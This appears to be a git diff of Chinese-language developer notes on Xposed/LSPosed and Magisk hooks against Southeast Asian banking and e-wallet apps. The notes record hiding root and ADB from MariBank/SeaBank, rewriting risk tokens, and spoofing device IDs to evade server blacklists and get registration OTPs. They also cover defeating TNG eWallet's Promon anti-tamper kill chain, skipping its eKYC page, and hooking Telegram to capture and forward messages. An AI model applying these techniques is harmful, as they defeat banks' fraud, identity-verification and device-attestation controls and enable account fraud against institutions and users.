jrKyNF/Fx4gcnzVpf1u9bw==|WJMksio9SaKKuyk1KMSilUGivdF+...|TXeh8FyEf/8qHdAS|00|0
|
||||
↑ Base64 段1 ↑ Base64 段2(设备哈希) ↑ 短码 ↑ 风险码|标志
|
||||
```
|
||||
|
||||
| 部分 | 含义 | Hook 能否改 |
|
||||
|------|------|-------------|
|
||||
| 前两段 Base64 | 设备 / 环境哈希,服务端可索引黑名单 | 换 serial/android_id 后 **重新生成** |
|
||||
| 第三段 | 短码 | 随 SDK 变 |
|
||||
| 最后 `\|xx\|y` | 风险摘要(如 Root+Hook `\|09\|1`) | ✅ 已净化为 `\|00\|0` |
|
||||
|
||||
**只改尾部不够**:服务端还验 `data`/`dataKey` 解密内容。
|
||||
|
||||
### 3.2 `data` / `dataKey`
|
||||
|
||||
- 由 **`libshpssdk_bank.so` native** 生成并签名
|
||||
- 内含 Root / Hook / 调试等 attestation,**Java 层改 JSON 字段无法重写密文**
|
||||
- SG 3100012 时,多半此层或设备黑名单未过;PH 7/6 成功时服务端 **接受了** 当前密文
|
||||
|
||||
### 3.3 `afExtInfo`(银行 App 上报,非 PC 添加)
|
||||
|
||||
```json
|
||||
"afExtInfo": {
|
||||
"modeInCall": "N",
|
||||
"modeInCommunication": "N",
|
||||
"modeCallScreening": "N"
|
||||
}
|
||||
```
|
||||
|
||||
| 字段 | 推测含义 | `"N"` |
|
||||
|------|----------|-------|
|
||||
| `modeInCall` | 是否正在通话 | No |
|
||||
| `modeInCommunication` | 是否通信/音频占用 | No |
|
||||
| `modeCallScreening` | 来电筛选等相关状态 | No |
|
||||
|
||||
- **来源**:App / SDK 读系统状态写入 `rdVerifyInfo`
|
||||
- **去向**:随 register 加密后发给服务端
|
||||
- **当前模块**:**未专门修改** 这三项(原样上报)
|
||||
- **用途**:反欺诈辅助信号,**不是** USB 调试开关
|
||||
|
||||
### 3.4 其他常见字段
|
||||
|
||||
| 字段 | 说明 |
|
||||
|------|------|
|
||||
| `cyCode` | 国家码:PH=`63`,SG=`65` |
|
||||
| `step` | `BE` 首次注册 → 成功后可到 `BSO`(OTP) |
|
||||
| `action` | `OTP_SMS_TRIGGER` 触发短信验证码 |
|
||||
| `bioStatus` | 生物识别状态,注册时多为 `0` |
|
||||
|
||||
---
|
||||
|
||||
## 4. 为何 USB 调试开着仍能发 OTP(菲律宾实测)
|
||||
|
||||
### 4.1 两个「USB 调试」不是一回事
|
||||
|
||||
| | PC 侧 adb | App 内部读到的值 |
|
||||
|--|-----------|------------------|
|
||||
| 你开 USB 调试 | ✅ 能 `adb shell` | 被 Hook **伪装为关闭** |
|
||||
|
||||
### 4.2 模块已做的 ADB bypass(`MariBankRootBypassHook`)
|
||||
|
||||
**Java Settings:**
|
||||
|
||||
- `adb_enabled` / `adb_wifi_enabled` / `development_settings_enabled` → `0`
|
||||
|
||||
**系统属性(`MariBankShpsNativeHook`):**
|
||||
|
||||
- `init.svc.adbd` → `stopped`
|
||||
- `persist.sys.adb_enable` → `0`
|
||||
|
||||
**UI:**
|
||||
|
||||
- 全屏「ADB / Wireless ADB Detected」页 → `Activity.finish()`
|
||||
- 相关 Toast 拦截
|
||||
|
||||
因此:**PC 连着 adb,App 仍可能认为未开调试**,本地不拦、register 载荷也不带「adb 开」的自报字段。
|
||||
|
||||
### 4.3 与干净机对照
|
||||
|
||||
| 环境 | USB 调试 | 结果 |
|
||||
|------|----------|------|
|
||||
| 干净机(无 Hook) | 开 | 本地 ADB 页,进不了 OTP |
|
||||
| 干净机 | 关 | ✅ OTP |
|
||||
| Pixel 6 + LSPosed + Shamiko | **开** | ✅ PH OTP(Hook 伪装) |
|
||||
|
||||
### 4.4 注意
|
||||
|
||||
- native 仍可能用 Hook 未覆盖的路径读调试状态
|
||||
- **SG 更严**,开 adb 风险高于 PH
|
||||
- 文档仍建议测 SG 时 **关 USB 调试**
|
||||
|
||||
---
|
||||
|
||||
## 5. 菲律宾能发验证码的真实原因
|
||||
|
||||
### 5.1 能确定
|
||||
|
||||
- `api.seabank.ph` 返回 **`code=0`**,step 进入 **BSO**,**OTP_SMS_TRIGGER** 成功
|
||||
- 同一台机、同一套 Hook 下 **SG 仍 3100012** → 差异在 **服务端**,非「没风控」
|
||||
|
||||
### 5.2 7/3 失败 → 7/6 成功的变化
|
||||
|
||||
| 能力 | 7/3 | 7/6 |
|
||||
|------|-----|-----|
|
||||
| riskToken 尾部净化 | ✅ | ✅ |
|
||||
| 加密前 register 明文 Hook | ❌ | ✅ |
|
||||
| Attestation / 环境 Hook | 弱 | ✅ |
|
||||
| Shamiko 藏 Magisk | 无/未配 | ✅ |
|
||||
| 换 serial / android_id | 无 | ✅ |
|
||||
|
||||
**不是单一开关**,而是 **Shamiko + 新设备 ID + 加密前/采集链净化** 组合后,PH 服务端认为 attestation **可接受**。
|
||||
|
||||
### 5.3 高概率推断
|
||||
|
||||
1. **PH / SG 两套 API、两套规则** — 同一载荷 PH 过、SG 不过
|
||||
2. **PH 侧设备黑名单** — Pixel 6 在 SG 测多次,PH 可能未标记
|
||||
3. **7/3 的 4067012** — bypass 不完整,非「PH 永远不能 Root 注册」
|
||||
|
||||
### 5.4 无法无源码 100% 证实
|
||||
|
||||
- PH 后台具体哪条规则放行
|
||||
- `data` 解密后哪一位从拒变收
|
||||
|
||||
---
|
||||
|
||||
## 6. Magisk / LSPosed / Shamiko 分工
|
||||
|
||||
```
|
||||
Magisk(Root 权限)
|
||||
└── Zygisk
|
||||
├── LSPosed → 加载 xposed-module(改 Java 检测、抓加密前 JSON)
|
||||
└── Shamiko → 对银行进程隐藏 Magisk/LSPosed
|
||||
Magisk 模块 maribank_device_spoof → resetprop 换 serial 等
|
||||
```
|
||||
|
||||
| 组件 | 作用 |
|
||||
|------|------|
|
||||
| **Magisk** | Root |
|
||||
| **LSPosed** | 运行 Xposed 模块(与经典 Xposed 同 API,见 [`Hook指南.md` §0](Hook指南.md)) |
|
||||
| **Shamiko** | 进程内 Hide Root,改善 native attestation |
|
||||
| **Xposed 模块** | SafeMode / ADB / 加密前净化 |
|
||||
|
||||
---
|
||||
|
||||
## 7. 服务端可能校验项(反推)
|
||||
|
||||
| 校验项 | 说明 |
|
||||
|--------|------|
|
||||
| `rdVerifyInfo.data` / `dataKey` | native attestation 解密 |
|
||||
| `deviceFingerprint` 段 1/2 | 设备黑名单 |
|
||||
| DFP 历史画像 | 与 register 是否一致 |
|
||||
| 区域策略 | PH 松 / SG 严(实测) |
|
||||
| IP / 号码 / 频率 | 次要,非本次主因 |
|
||||
|
||||
---
|
||||
|
||||
*最后更新:2026-07-06*
|
||||
64
docs/TNG_captcha逆向.md
Normal file
64
docs/TNG_captcha逆向.md
Normal file
@@ -0,0 +1,64 @@
|
||||
# TNG eWallet 滑动验证码(阿里云 Captcha)逆向笔记(2026-08-03)
|
||||
|
||||
## 现象
|
||||
|
||||
注册/登录手机号页点「继续」→ 弹阿里云滑动拼图验证 → 滑块拖对通过 →
|
||||
**不返回**(TTCaptcha 未回调 TNG 业务层)→ 手动点「继续」→ 再次弹验证 → 循环。
|
||||
|
||||
## 回调链(1.9.10 dex 逆向)
|
||||
|
||||
```
|
||||
用户滑动成功
|
||||
→ JS postMessage → CaptchaWebViewDialog$2.a (action=sendAliyunCaptchaVerifyData, data 含 success/message)
|
||||
→ Captcha.generateResult(char, zzbfs) → JSON {code, retCode, message, certifyId}
|
||||
→ setVerifyResult(true) → Captcha$1(Handler) → VerificationCallback.onSuccess(result)
|
||||
→ TTCaptcha 反射 Proxy → TTCaptchaCallback.callBack(result)
|
||||
→ parseJson → TTCaptchaResponse{code, certifyId}
|
||||
code==0 且 certifyId 非空 ?
|
||||
→ notifySuccess(certifyId) → TTInListener.success → TNG 业务层提交 RPC
|
||||
→ notifyFailure(code) / handleFailure("Result is null"|"Invalid code or certifyId")
|
||||
→ 服务端二次校验 certifyId 失败
|
||||
→ quake 抛 CaptchaNeededException("Captcha needed")
|
||||
/ CaptchaNotPassedException("Captcha not passed")
|
||||
→ 验证拦截器再弹滑块 → 循环
|
||||
```
|
||||
|
||||
## 关键类(dex 定位)
|
||||
|
||||
| 类 | 作用 |
|
||||
|----|------|
|
||||
| `com.aliyun.captcha.Captcha`(classes10) | 单例,verify/generateResult/showDialog |
|
||||
| `com.aliyun.captcha.CaptchaWebViewDialog` + `$2` | 滑块 WebView + JS postMessage 桥 |
|
||||
| `com.aliyun.TigerTally.captcha.api.TTCaptcha` | TigerTally 封装,**反射**调 aliyun Captcha |
|
||||
| `com.aliyun.TigerTally.captcha.core.TTCaptchaCallback` | 解析 result,code==0 且 certifyId 非空才 success |
|
||||
| `my.com.tngdigital.captcha.TigerTallyApiWrapper` | TNG 业务侧封装(Kotlin 协程 showCaptcha) |
|
||||
| `...aliservice.quake.CaptchaNeededException` / `CaptchaNotPassedException` | 服务端要验证 / 验证未通过 |
|
||||
| `...amcs.CaptchaConfigCenter` / `CaptchaInitializer` | 远程下发 wafCaptchaKey / captcha_switch |
|
||||
| `...opmpaasexpress.interceptor.OpMpVerifyInterceptor` 等 | RPC 验证拦截器,触发滑块 |
|
||||
|
||||
## 判定点(本次 hook 已打点)
|
||||
|
||||
1. `Captcha.generateResult` 返回的 JSON —— **certifyId 是否为空**(滑块是否真正拿到服务端签发)
|
||||
2. `CaptchaWebViewDialog$2.a` —— JS postMessage 的 data 内容
|
||||
3. `TTCaptchaCallback.callBack/notifySuccess/notifyFailure` —— TNG 是否拿到 certifyId
|
||||
4. `CaptchaNeeded/NotPassedException` 构造 message —— 服务端二次校验失败原因
|
||||
5. `TTCaptcha.verifyByReflect/buildParams` —— captcha 参数(region/appKey 等)
|
||||
|
||||
## 根因候选
|
||||
|
||||
- **TigerTally 设备指纹(umidToken)异常**:`hookTigerTally` 短路了
|
||||
`TigerTallyAPI.init/initCommon` 与 `t.B.genericNt1`(防 ANR fork 卡死)。
|
||||
若 captcha 服务端用 umidToken 校验设备,缺失/变化会导致 certifyId 校验失败。
|
||||
- **captcha 全量方法打点拖慢 JS 桥回调**(已修复:改为精准打点)。
|
||||
- **region 错误**:`TTCaptcha.buildParams` 用 `t.B.genericNt14()` 取 region。
|
||||
|
||||
## 抓 logcat 判定
|
||||
|
||||
```powershell
|
||||
powershell -File scripts/logcat-tng.ps1
|
||||
```
|
||||
|
||||
复现滑块 → 观察:
|
||||
- `captcha JS postMessage` 后是否有 `captcha RET generateResult`(含 certifyId)
|
||||
- `captchaCb CALL notifySuccess` 是否出现(成功)还是 `notifyFailure`
|
||||
- `captcha EXC ...CaptchaNotPassedException` 的 msg
|
||||
52
docs/TNG_开放问题与抓包能力.md
Normal file
52
docs/TNG_开放问题与抓包能力.md
Normal file
@@ -0,0 +1,52 @@
|
||||
# TNG 开放问题与抓包能力(2026-08-04)
|
||||
|
||||
## 待办:冷启动假掉登录(先不改)
|
||||
|
||||
**现象:** 登录成功后退出再进,界面像未登录,需重新登录。
|
||||
|
||||
**根因判断(已基本确认):**
|
||||
旧逻辑:`SplashActivity.onCreate` **无条件** 2s 强拉 `UserLoginActivity`。
|
||||
|
||||
**已修复(2026-08-04):** 改为 4s **卡住救援**——已自行跳到 PIN/首页则取消;仅仍停在 Splash 时救援(有本地会话优先 `UserPinActivity`,否则 `UserLoginActivity`)。
|
||||
|
||||
---
|
||||
|
||||
## Money Packet 领取统计 — 网络/明文获取能力
|
||||
|
||||
目标:群红包 Leaderboard 的 **昵称 + 已领金额**(字段预期 `receiverList` / `claimedAmount` 等)。
|
||||
|
||||
### 路线对比
|
||||
|
||||
| 路线 | 状态 | 说明 |
|
||||
|------|------|------|
|
||||
| 外部 mitm(Charles / mitmproxy) | **不可行(当前)** | TNG API(如 `mpaasgw.tngdigital.com.my`)有 **证书 pinning**,只能看到域名,解不开 HTTPS 正文。`reverse/dumps/mitm_mmp/` 里曾落盘的多为官网 HTML/新闻,**不是** 红包 API。 |
|
||||
| 进程内 Xposed(`TngMoneyPacketHook`) | **代码已接,运行时未实证** | 在 TLS 之后读明文:Hook `OkHttp ResponseBody.string` + `Gson.fromJson`,匹配 `receiverList` / `claimedAmount` / `Mmp*` 模型,经 `HookForwarder` 转发。`MainHook` 已 `install`。 |
|
||||
| 纯日志/UI 自动化 | 兜底 | 无 API 时可读界面,不稳定,不作主路径。 |
|
||||
|
||||
### 当前缺口
|
||||
|
||||
1. **尚未在真机打开 Money Packet Leaderboard 做过一次捕获验证** → logcat 里暂无 `TngMmp captured …`。
|
||||
2. TNG 主业务多为 **mPaaS / Quake RPC**,若响应不走 `ResponseBody.string()` / 目标 Gson 类名不符,现有 Hook 会漏;需补 **RPC invoke 返回值 / 其它 JSON 入口**。
|
||||
3. Splash 强拉登录不影响「登录后进群点红包」时的抓包,但影响复测效率。
|
||||
|
||||
### 建议验证步骤(下次动手)
|
||||
|
||||
1. 保持登录态,进群 → 打开红包详情 / Leaderboard。
|
||||
2. 看 LSPosed:`notiMessageHook/TngMmp installed` 与 `captured packet=… claims=N`。
|
||||
3. 若无:对同一次操作抓 logcat 里 URL / 类名,补 Hook 点(Quake `RpcInvocationHandler` 等)。
|
||||
4. 确认 notiMessage / debug-server 是否收到转发内容。
|
||||
|
||||
### eKYC「验证您的帐户」强制页(2026-08-04)
|
||||
|
||||
`HomeEkycVerifyActivity` 挡首页。测试期:`hookHomeEkycVerifySkip` — finish 该页 + 拦 Intent + `canBypassEkyc`/`enforceEkyc` stub。
|
||||
**注意:** 服务端仍可能在部分功能(转账/红包)二次校验 eKYC,首页跳过不等于全功能可用。
|
||||
|
||||
|
||||
```text
|
||||
packetId / title
|
||||
receiverList[]:
|
||||
- nickname / displayName
|
||||
- claimedAmount(或 amount)
|
||||
```
|
||||
|
||||
按昵称聚合 `claimedAmount` 即可做领取排行。
|
||||
85
docs/TNG_自杀链逆向笔记.md
Normal file
85
docs/TNG_自杀链逆向笔记.md
Normal file
@@ -0,0 +1,85 @@
|
||||
# TNG eWallet 逆向笔记 — 自杀链(2026-07-31)
|
||||
|
||||
## 运行时铁证
|
||||
|
||||
| 现象 | 含义 |
|
||||
|------|------|
|
||||
| `Fatal signal 6 (SIGABRT), code 0 (SI_USER)` | 用户态 `kill(pid, SIGABRT)`,**不是** `exit_group`,也不是 `abort()` 的 `SI_TKILL` |
|
||||
| PLT hook `kill/raise` **从不打日志** | Promon 走 **内联 SVC**,不经 PLT |
|
||||
| `E Report : Exiting:` + `xwwqazamx.W: 16` + `bl.a` | Java 层检测入口仍是 `xwwqazamx.bl#a/#b` |
|
||||
| `Displayed ...UserLoginActivity` | UI 能到登录页;随后数秒内被杀 |
|
||||
| `Lcom/aliyun/TigerTally/t/B` 反射 `Thread.dispatchUncaughtException` | 另有一套阿里 TigerTally SDK |
|
||||
|
||||
## 自杀阶梯(当前理解)
|
||||
|
||||
```
|
||||
Promon native 检测 (Thread-N 扫 /proc、selinux、wifi prop…)
|
||||
→ xwwqazamx.bl#a / #b
|
||||
→ 抛 W:16(Report 打 Exiting)
|
||||
→ 同时/随后 inline kill(SIGABRT, SI_USER)
|
||||
→ KillApplicationHandler(Xposed 可拦)
|
||||
→ 若 ABRT 被 ignore:可能改 SIGKILL / BRK(待证)
|
||||
```
|
||||
|
||||
并行:
|
||||
|
||||
- `AppSecurityManager.handle*Callback`(Xposed 已拦)
|
||||
- `openSecurityUrl` Root FAQ(已拦)
|
||||
- `UnhandledEvent` → `finishAllActivityAndKillApp`(已 hook)
|
||||
- ForceExitCountdown(已 hook)
|
||||
- TigerTally / SecurityGuard `JNICLibrary.doCommand`(当前 stub,可能过度)
|
||||
|
||||
## 静态 SO
|
||||
|
||||
`libtngdigital_ewallet.so`(~7.7MB,打包态):
|
||||
|
||||
- `brk` 假阳性/加密指令很多(imm 离散)
|
||||
- 真实 `svc #0` 极少;运行时解密后才出现 exit 序列
|
||||
- **禁止**在 `JNI_OnLoad` 前/中 patch SO(会 Bad JNI / SIGILL)
|
||||
|
||||
## 已验证无效/有害手段
|
||||
|
||||
- seccomp 拦 `exit_group` → Promon 改 UDF/SIGILL
|
||||
- 改 libc exit SVC→RET → 同上
|
||||
- 改 Promon SO 字节 → Bad JNI / SIGILL
|
||||
- 高频 `sigaction` 重装 → 易被当成 hook 指纹
|
||||
|
||||
## 较有效手段
|
||||
|
||||
- Xposed:拦 FAQ / KillApplicationHandler / handle*Callback / ForceExit / UnhandledEvent
|
||||
- Xposed:`bl#a/#b` **beforeHook short-circuit**(避免跑进 native 杀进程)
|
||||
- Zygisk:PLT 观察 + `SIGABRT` ignore(对 SI_USER 理论有效;Promon 可能复位 handler)
|
||||
|
||||
## 新发现(2026-07-31 续)
|
||||
|
||||
### `libtiger_tally.so`(~4.6MB)
|
||||
- 与 Promon `libtngdigital_ewallet.so` **并行加载**
|
||||
- 动态依赖:`abort@LIBC`、`signal@LIBC`(**走 PLT**,可被 Zygisk PLT hook)
|
||||
- 内嵌少量 syscall stub(openat/read/faccessat…),**无** kill/exit stub
|
||||
- `BIND_NOW`
|
||||
|
||||
### 打包态 SO
|
||||
- `libtngdigital_ewallet.so` / `libtiger_tally.so` 静态 **0** 处 `movz x8,#129 + svc`
|
||||
- 自杀用的 inline `kill` 仍可能在 **运行时解密** 后出现 → Zygisk **延迟 2s** 扫描 patch
|
||||
|
||||
### 日志结论(2026-07-31 11:37–11:47)
|
||||
|
||||
| 现象 | 含义 |
|
||||
|------|------|
|
||||
| `exited cleanly (1)` | inline `exit_group(1)`(PLT 拦不住) |
|
||||
| kill SVC→RET 后 `signal 9` | SO 完整性/备用路径 → **SIGKILL** |
|
||||
| 过早 patch exit_group | 启动即崩(CEM) |
|
||||
| seccomp 拦 `exit`+`exit_group` | ~1s 死(误伤线程 exit) |
|
||||
| seccomp **只拦 exit_group** | 存活 **~16s**,随后 **SIGILL 风暴**(count 7000+) |
|
||||
| `caught sig=4 si_code=1` | Promon UDF 兜底;+4 skip 无效 |
|
||||
|
||||
### Rest 配置(2026-07-31 12:55,已装机)
|
||||
|
||||
| 层 | 策略 |
|
||||
|----|------|
|
||||
| Zygisk | PLT 拦 exit/abort/kill;**exit_group-only seccomp @2s**;**禁止**改 SO(会 SIGKILL) |
|
||||
| 信号 | ABRT ignore;SEGV/ILL **+4 skip**;**不** freeze 线程(freeze 会 ANR) |
|
||||
| Xposed | Splash `reportFullyDrawn` + **2.5s 强拉 UserLogin** + finish Splash;bl SC / 自杀 Java / JNIC stub |
|
||||
|
||||
实测:进程 **≥40s** 存活,焦点 `UserLoginActivity`;`phase done seccomp=1 caught=0`。
|
||||
注意:点亮屏幕后再开 App(`svc power stayon true`);勿把 TNG 放进 Magisk DenyList。
|
||||
295
docs/Telegram抓消息说明.md
Normal file
295
docs/Telegram抓消息说明.md
Normal file
@@ -0,0 +1,295 @@
|
||||
# Telegram 抓消息说明
|
||||
|
||||
> **用途**:在 notiMessage 中抓取 Telegram 消息(前台 + 后台),转发到 App 本地日志与 PC 调试台。
|
||||
> **关联**:[`Hook指南.md`](Hook指南.md)(通用架构、Xposed/LSPosed)· [`手机操作手册.md`](手机操作手册.md) · [`更新说明.md`](更新说明.md)
|
||||
|
||||
---
|
||||
|
||||
## 1. 能力概览
|
||||
|
||||
| 场景 | 通道 | 是否需要 Root / LSPosed | 日志标识 |
|
||||
|------|------|-------------------------|----------|
|
||||
| TG **后台** / 锁屏,系统弹出通知 | 通知监听 `NotificationService` | ❌ 不需要(仅需通知使用权) | 无前缀 |
|
||||
| TG **前台** 打开聊天(通常无系统通知) | Xposed `TelegramMessageHook` | ✅ 需要 Magisk + LSPosed + 模块 | `[Hook/xposed_telegram]` |
|
||||
|
||||
**重要**:只开通知监听、不装 Xposed 时,**TG 在前台收消息抓不到**。要完整覆盖,必须启用 Hook 模块。
|
||||
|
||||
---
|
||||
|
||||
## 2. 必须安装什么
|
||||
|
||||
### 2.1 完整能力(前台 + 后台)
|
||||
|
||||
| 序号 | 组件 | 说明 |
|
||||
|------|------|------|
|
||||
| 1 | **Telegram** | 包名见 §3 |
|
||||
| 2 | **notiMessage 主 App** | `com.miraclegarden.smsmessage` |
|
||||
| 3 | **Xposed 模块 APK** | `com.miraclegarden.smsmessage.xposed`(与主 App 同仓库 `:xposed-module`) |
|
||||
| 4 | **Magisk + Zygisk** | Root 环境 |
|
||||
| 5 | **LSPosed** | 加载 Xposed 模块 |
|
||||
|
||||
抓 TG **不需要** Shamiko(那是 MariBank 等银行 App 用的)。
|
||||
|
||||
### 2.2 仅后台通知(不抓前台)
|
||||
|
||||
| 必须 | 不需要 |
|
||||
|------|--------|
|
||||
| notiMessage 主 App | Xposed 模块 |
|
||||
| Telegram | LSPosed / Root |
|
||||
| 通知监听权限 | |
|
||||
|
||||
### 2.3 PC 端(调试台,可选)
|
||||
|
||||
| 组件 | 用途 |
|
||||
|------|------|
|
||||
| 本仓库源码 + JDK + Android SDK | 编译安装 |
|
||||
| **adb** | USB 安装、`adb reverse` |
|
||||
| **Python 3** | `configure-lsposed.py`(`install-full.ps1` 用) |
|
||||
| `debug-server/server.py` | PC 浏览器查看消息(端口 **8765**) |
|
||||
|
||||
---
|
||||
|
||||
## 3. 包名与 LSPosed 作用域
|
||||
|
||||
Pixel 6 等设备常见包名:
|
||||
|
||||
| 安装来源 | 包名 |
|
||||
|----------|------|
|
||||
| Play / 官网 APK | `org.telegram.messenger` |
|
||||
| 部分渠道 / Web 版 | `org.telegram.messenger.web` |
|
||||
|
||||
**必须勾选与实际安装一致的包名**(两个都装则两个都勾)。
|
||||
|
||||
LSPosed 作用域需勾选:
|
||||
|
||||
1. **目标 Telegram 包名**(上表)
|
||||
2. **notiMessage 主 App** `com.miraclegarden.smsmessage`(接收 Hook 广播、写日志)
|
||||
3. 模块本身已在 LSPosed 里 **启用**
|
||||
|
||||
默认作用域见 `xposed-module/src/main/res/values/arrays.xml`。
|
||||
一键安装时 `scripts/configure-lsposed.py` 会写入上述包名。
|
||||
|
||||
**每次更新 Xposed 模块 APK 后**:LSPosed 里对 Telegram **软重启**(或整机重启),否则 Hook 不注入。
|
||||
|
||||
---
|
||||
|
||||
## 4. 安装与配置(推荐流程)
|
||||
|
||||
### 4.1 PC 一键安装
|
||||
|
||||
```powershell
|
||||
cd C:\Users\Administrator\Desktop\notiMessage
|
||||
.\scripts\install-full.ps1
|
||||
```
|
||||
|
||||
自动完成:编译 → 安装双 APK → 写入 LSPosed 作用域 → `adb reverse` → 电池白名单 → 通知监听授权。
|
||||
|
||||
仅编译安装、不写作用域:
|
||||
|
||||
```powershell
|
||||
.\scripts\build-debug.ps1
|
||||
.\scripts\install-debug.ps1
|
||||
```
|
||||
|
||||
> **注意**:Android Studio 直接 Run 只装主 App,**不会**装 Xposed 模块。完整 TG 抓取必须用 `install-full.ps1` 或手动装两个 APK。
|
||||
|
||||
### 4.2 手机上
|
||||
|
||||
1. **LSPosed** → 启用模块 **notiMessage Xposed** → 作用域勾选 Telegram + 主 App → **软重启 Telegram**
|
||||
2. 打开 **notiMessage** → **监听设置** → 添加 **Telegram**(包名须与 LSPosed 一致)
|
||||
3. 回到 **监听控制台** → **开始监听** → 授予通知使用权
|
||||
4. (可选)设置 → 给 Telegram / notiMessage **电池不受限制**
|
||||
|
||||
### 4.3 PC 调试台
|
||||
|
||||
```powershell
|
||||
.\scripts\start-debug-server.ps1
|
||||
```
|
||||
|
||||
浏览器打开 **http://127.0.0.1:8765**,按群/会话分组展示。
|
||||
脚本会自动执行 `adb reverse tcp:8765 tcp:8765`。
|
||||
|
||||
### 4.4 验证
|
||||
|
||||
1. 启动调试台(可选)
|
||||
2. notiMessage 开始监听后 **切到桌面**
|
||||
3. 打开 Telegram,在任意群/私聊 **收一条别人发的消息**(前台场景)
|
||||
4. 期望:
|
||||
- App 监听页出现 `[Hook/xposed_telegram] 群名 发送者: 内容`
|
||||
- PC 调试台同内容
|
||||
5. 再把 TG 切后台,收一条 **会弹系统通知** 的消息 → 走通知通道(无前缀)
|
||||
|
||||
---
|
||||
|
||||
## 5. 双通道架构
|
||||
|
||||
```
|
||||
Telegram
|
||||
│
|
||||
┌──────────────┴──────────────┐
|
||||
│ │
|
||||
后台弹系统通知 前台收到新消息
|
||||
│ │
|
||||
▼ ▼
|
||||
NotificationService TelegramMessageHook
|
||||
(NotificationListener) (xposed-module 进程内)
|
||||
│ │
|
||||
│ │ 广播 HOOK_MESSAGE
|
||||
│ ▼
|
||||
│ HookMessageReceiver
|
||||
│ ├─ MessageLogStore
|
||||
│ ├─ DebugForwarder → PC :8765
|
||||
│ └─ (可选)正式后端上传
|
||||
└──────────────┬──────────────┘
|
||||
▼
|
||||
监听页 / PC 调试台
|
||||
```
|
||||
|
||||
| 配置项 | 文件 | 默认值 |
|
||||
|--------|------|--------|
|
||||
| PC 转发开关 | `AppConfig.ENABLE_DEBUG_FORWARD` | `true` |
|
||||
| 调试台地址 | `AppConfig.DEBUG_SERVER_URL` | `http://127.0.0.1:8765` |
|
||||
| 正式后端上传 | `AppConfig.ENABLE_SERVER_UPLOAD` | `false` |
|
||||
|
||||
Hook 广播格式:
|
||||
|
||||
```text
|
||||
Action: com.miraclegarden.smsmessage.action.HOOK_MESSAGE
|
||||
Package: com.miraclegarden.smsmessage
|
||||
Extras: packageName, title, content, timestamp, source=xposed_telegram
|
||||
```
|
||||
|
||||
`HookMessageReceiver` 会检查 Telegram 是否在 **监听列表**;未添加则日志 `[Hook] 未配置监听: org.telegram...` 并丢弃。
|
||||
|
||||
---
|
||||
|
||||
## 6. 实现原理(TelegramMessageHook)
|
||||
|
||||
源码:`xposed-module/src/main/java/.../hook/TelegramMessageHook.java`
|
||||
|
||||
### 6.1 为何不 Hook SQLite?
|
||||
|
||||
Telegram 消息存在 SQLite 的 **`data` 字段(TL 二进制序列化)**,不是明文 `content`/`text`。
|
||||
通用 `SqliteMessageHook` **对 Telegram 无效**,因此单独实现本 Hook。
|
||||
|
||||
### 6.2 Hook 路径(三条,互为补充)
|
||||
|
||||
| 优先级 | Hook 点 | 触发时机 |
|
||||
|--------|---------|----------|
|
||||
| **主路径** | `NotificationCenter.postNotificationName(int, Object[])`,当 `id == didReceiveNewMessages` | 前台收到新消息、消息已解密为 `MessageObject` |
|
||||
| **通知路径** | `NotificationsController.appendMessage(MessageObject)` | 后台准备弹系统通知时 |
|
||||
| **兜底** | `MessageObject` 全部构造函数 | 主路径安装失败时 |
|
||||
|
||||
### 6.3 过滤与去重
|
||||
|
||||
- 只处理 **非 outgoing**(`messageOwner.out == false`),忽略自己发出的消息
|
||||
- 去重键:`dialogId:messageId`,内存保留最近 512 条
|
||||
|
||||
### 6.4 字段提取
|
||||
|
||||
| 字段 | 提取方式 | 展示 |
|
||||
|------|----------|------|
|
||||
| **群名/会话名** | `MessagesController.getPeerTitle(dialogId)` → `getName()` → `getChat().title` | 广播 `title` |
|
||||
| **发送者** | `MessageObject.getFromName()` | 群内:`发送者: 正文` |
|
||||
| **正文** | `messageText` → `messageOwner.message` → `caption` | 广播 `content` |
|
||||
| **媒体** | `isPhoto` / `isVideo` 等 → `[图片]`、`[视频]`… | 与 caption 合并 |
|
||||
|
||||
支持的媒体标签:`[图片]`、`[视频]`、`[GIF]`、`[贴纸]`、`[语音]`、`[音频]`、`[文件]`、`[位置]`、`[联系人]`、`[媒体消息]`。
|
||||
|
||||
**注意**:不要把 `TLRPC$...` 对象直接 `toString()` 当标题;代码里 `safeText()` 会过滤这类字符串。
|
||||
|
||||
---
|
||||
|
||||
## 7. 常见问题
|
||||
|
||||
| 现象 | 原因 | 处理 |
|
||||
|------|------|------|
|
||||
| 前台有消息,无 `[Hook/...]` | Hook 未注入 | LSPosed 启用模块;作用域勾 **实际 TG 包名**;**软重启 TG** |
|
||||
| 日志 `[Hook] 未配置监听` | 监听列表未加 Telegram | 监听设置里添加对应包名 |
|
||||
| 只有后台有、前台没有 | 未装 Xposed / 作用域错误 | 安装 xposed 模块 + `install-full.ps1` |
|
||||
| PC 无数据 | `adb reverse` 未设或调试台未开 | 跑 `start-debug-server.ps1` |
|
||||
| notiMessage 切后台后 PC 断 | 旧版依赖 startService | 更新到 v2.2.1+,`HookMessageReceiver` 内直接转发 |
|
||||
| 标题显示 `TLRPC$...` | 旧版或异常路径 | 更新模块;见 `TelegramMessageHook.extractTitle` |
|
||||
| 图片只有「图片」无说明 | 说明在 caption | 已合并 caption;仍空则 TG 未带说明 |
|
||||
| 群静音 / 无通知 | 后台通道无触发 | 前台靠 Hook;后台需 TG 允许通知且未静音 |
|
||||
| TG 被系统冻结 | 省电策略 | TG、notiMessage 设「不受限制」 |
|
||||
| logcat 无 `notiMessageHook/Telegram` | Hook 未加载 | 查 LSPosed 日志;确认包名是否为 `.web` 版 |
|
||||
|
||||
---
|
||||
|
||||
## 8. 诊断 logcat
|
||||
|
||||
```powershell
|
||||
$adb = "$env:LOCALAPPDATA\Android\Sdk\platform-tools\adb.exe"
|
||||
|
||||
# Hook 是否安装
|
||||
& $adb logcat -d | Select-String "notiMessageHook/Telegram"
|
||||
|
||||
# 主 App 是否收到广播
|
||||
& $adb logcat -d | Select-String "HookMessageReceiver|DebugForwarder"
|
||||
|
||||
# 通知通道
|
||||
& $adb logcat -d | Select-String "NotificationService"
|
||||
```
|
||||
|
||||
期望看到:
|
||||
|
||||
```text
|
||||
notiMessageHook/Telegram: installed for org.telegram.messenger.web, didReceiveNewMessages=...
|
||||
notiMessageHook/Telegram: appendMessage hook installed for ...
|
||||
HookMessageReceiver: hook received: pkg=org.telegram.messenger.web source=xposed_telegram title=...
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 9. 与 MariBank 模块的关系
|
||||
|
||||
本仓库 **同一个 Xposed APK** 里还包含 MariBank bypass、澳银 Hook 等;**Telegram 抓消息与银行 bypass 互不依赖**:
